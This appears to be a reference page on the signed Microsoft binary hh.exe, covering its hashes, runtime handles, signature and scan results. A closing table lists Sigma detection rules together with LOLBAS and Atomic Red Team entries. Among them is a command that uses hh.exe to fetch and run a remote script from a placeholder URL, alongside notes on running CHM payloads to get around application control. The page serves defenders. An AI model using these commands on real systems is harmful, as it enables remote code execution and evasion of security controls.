hh.exe

  • File Path: C:\WINDOWS\SysWOW64\hh.exe
  • Description: Microsoft HTML Help Executable

Screenshot

hh.exe

Hashes

Type Hash
MD5 668E9100DEFAAA5E40E51C820BBD15A3
SHA1 0CD1092632414D4D8B4A28E346532B2EA61F9CA6
SHA256 84034424E42017CF34897659E698C402FC42BF3339C1B3C3AFE06FED54286820
SHA384 C1EED8C560F8769EE4FD98C8871DC5CEC722DC02158931B07F682D394673E120534E9A68F17F99D2D6CF3D7E19047E50
SHA512 A97FE2B9D7256803EAE9BADF3EC809F7AE8875696FA2DDFA0798E72FD1B6BD447F70E7352B263C0CB9DE4690006B5214037AE27872EDC6AA63B6546E651AAAA4
SSDEEP 192:4hMIkza7yifCE+mnZeDGWnXY6rbf8kBGJ1KDJD/oWcUXb:4lUaei4cNWnbfPA1KDWWcUXb
IMP F937A8A0DD0B39468FF87DDE8D9CDB45
PESHA1 76CE4E093C349600BA604DCD12BB10118AA3B9BB
PE256 86A2AB1F259DAA6EEDD33D2AF9CF92C1C9DAF2DF2D07C0A78D10628985E1A996

Runtime Data

Window Title:

HTML Help

Open Handles:

Path Type
(R–) C:\Users\user\AppData\Local\Temp~DFDDD06FC940ABF45A.TMP File
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\System32\en-US\hhctrl.ocx.mui File
(R-D) C:\Windows\System32\en-US\ieframe.dll.mui File
(R-D) C:\Windows\System32\en-US\mlang.dll.mui File
(R-D) C:\Windows\System32\en-US\mshtml.dll.mui File
(R-D) C:\Windows\SystemResources\ieframe.dll.mun File
(R-D) C:\Windows\SysWOW64\en-US\hh.exe.mui File
(R-D) C:\Windows\SysWOW64\en-US\urlmon.dll.mui File
(R-D) C:\Windows\SysWOW64\en-US\user32.dll.mui File
(R-D) C:\Windows\SysWOW64\ieframe.dll File
(RW-) C:\Windows File
(RW-) C:\Windows\SysWOW64 File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.22000.1_none_6ec7c6847ea94424 File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22000.120_none_e541a94fcce8ed6d File
(RWD) C:\Users\user\AppData\Local\Temp~DF383AF23A67D079BD.TMP File
(RWD) C:\Windows\Fonts File
(RWD) C:\Windows\Fonts\segoeuil.ttf File
(RWD) C:\Windows\Fonts\wingding.ttf File
\BaseNamedObjects__ComCatalogCache__ Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro Section
\Sessions\2\BaseNamedObjects\1788HWNDInterface:190acc Section
\Sessions\2\BaseNamedObjects\1788HWNDInterface:b0b00 Section
\Sessions\2\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\Sessions\2\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\Sessions\2\BaseNamedObjects\UrlZonesSM_TI-ADMIN Section
\Sessions\2\BaseNamedObjects\windows_ie_global_counters Section
\Sessions\2\BaseNamedObjects\windows_shell_global_counters Section
\Sessions\2\BaseNamedObjects\windows_webcache_counters_{9B6AB5B3-91BC-4097-835C-EA2DEC95E9CC}_S-1-5-21-1128764013-3361508229-3049782613-1001 Section
\Sessions\2\Windows\Theme1077709572 Section
\Windows\Theme3461253685 Section

Loaded Modules:

Path
C:\WINDOWS\SYSTEM32\ntdll.dll
C:\WINDOWS\System32\wow64.dll
C:\WINDOWS\System32\wow64base.dll
C:\WINDOWS\System32\wow64con.dll
C:\WINDOWS\System32\wow64cpu.dll
C:\WINDOWS\System32\wow64win.dll
C:\WINDOWS\SysWOW64\hh.exe

Signature

  • Status: Signature verified.
  • Serial: 33000002ED2C45E4C145CF48440000000002ED
  • Thumbprint: 312860D2047EB81F8F58C29FF19ECDB4C634CF6A
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: HH.exe.mui
  • Product Name: HTML Help
  • Company Name: Microsoft Corporation
  • File Version: 10.0.22000.1 (WinBuild.160101.0800)
  • Product Version: 10.0.22000.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 32-bit

File Scan

  • VirusTotal Detections: 0/73
  • VirusTotal Link: https://www.virustotal.com/gui/file/84034424e42017cf34897659e698c402fc42bf3339c1b3c3afe06fed54286820/detection

File Similarity (ssdeep match)

File Score
C:\Windows\hh.exe 36
C:\WINDOWS\hh.exe 40
C:\Windows\hh.exe 32
C:\Windows\hh.exe 36
C:\windows\hh.exe 35
C:\WINDOWS\hh.exe 35
C:\WINDOWS\SysWOW64\hh.exe 43
C:\Windows\SysWOW64\hh.exe 41
C:\Windows\SysWOW64\hh.exe 44
C:\Windows\SysWOW64\hh.exe 41
C:\windows\SysWOW64\hh.exe 44

Possible Misuse

The following table contains possible examples of hh.exe being misused. While hh.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\hh.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_hh_chm.yml title: HH.exe Execution DRL 1.0
sigma proc_creation_win_hh_chm.yml description: Identifies usage of hh.exe executing recently modified .chm files. DRL 1.0
sigma proc_creation_win_hh_chm.yml Image\|endswith: '\hh.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml ParentImage: 'C:\Windows\hh.exe' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\hh.exe' DRL 1.0
sigma proc_creation_win_susp_system_user_anomaly.yml - '\hh.exe' DRL 1.0
LOLBAS Hh.yml Name: Hh.exe  
LOLBAS Hh.yml - Command: HH.exe http://some.url/script.ps1  
LOLBAS Hh.yml - Command: HH.exe c:\windows\system32\calc.exe  
LOLBAS Hh.yml Usecase: Execute process with HH.exe  
LOLBAS Hh.yml - Path: C:\Windows\System32\hh.exe  
LOLBAS Hh.yml - Path: C:\Windows\SysWOW64\hh.exe  
atomic-red-team T1218.001.md <blockquote>Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)</blockquote> MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a local compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{local_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md Uses hh.exe to execute a remote compiled HTML Help payload. MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md hh.exe #{remote_chm_file} MIT License. © 2018 Red Canary
atomic-red-team T1218.001.md | hh_file_path | path of modified HH.exe | Path | $env:windir\hh.exe| MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.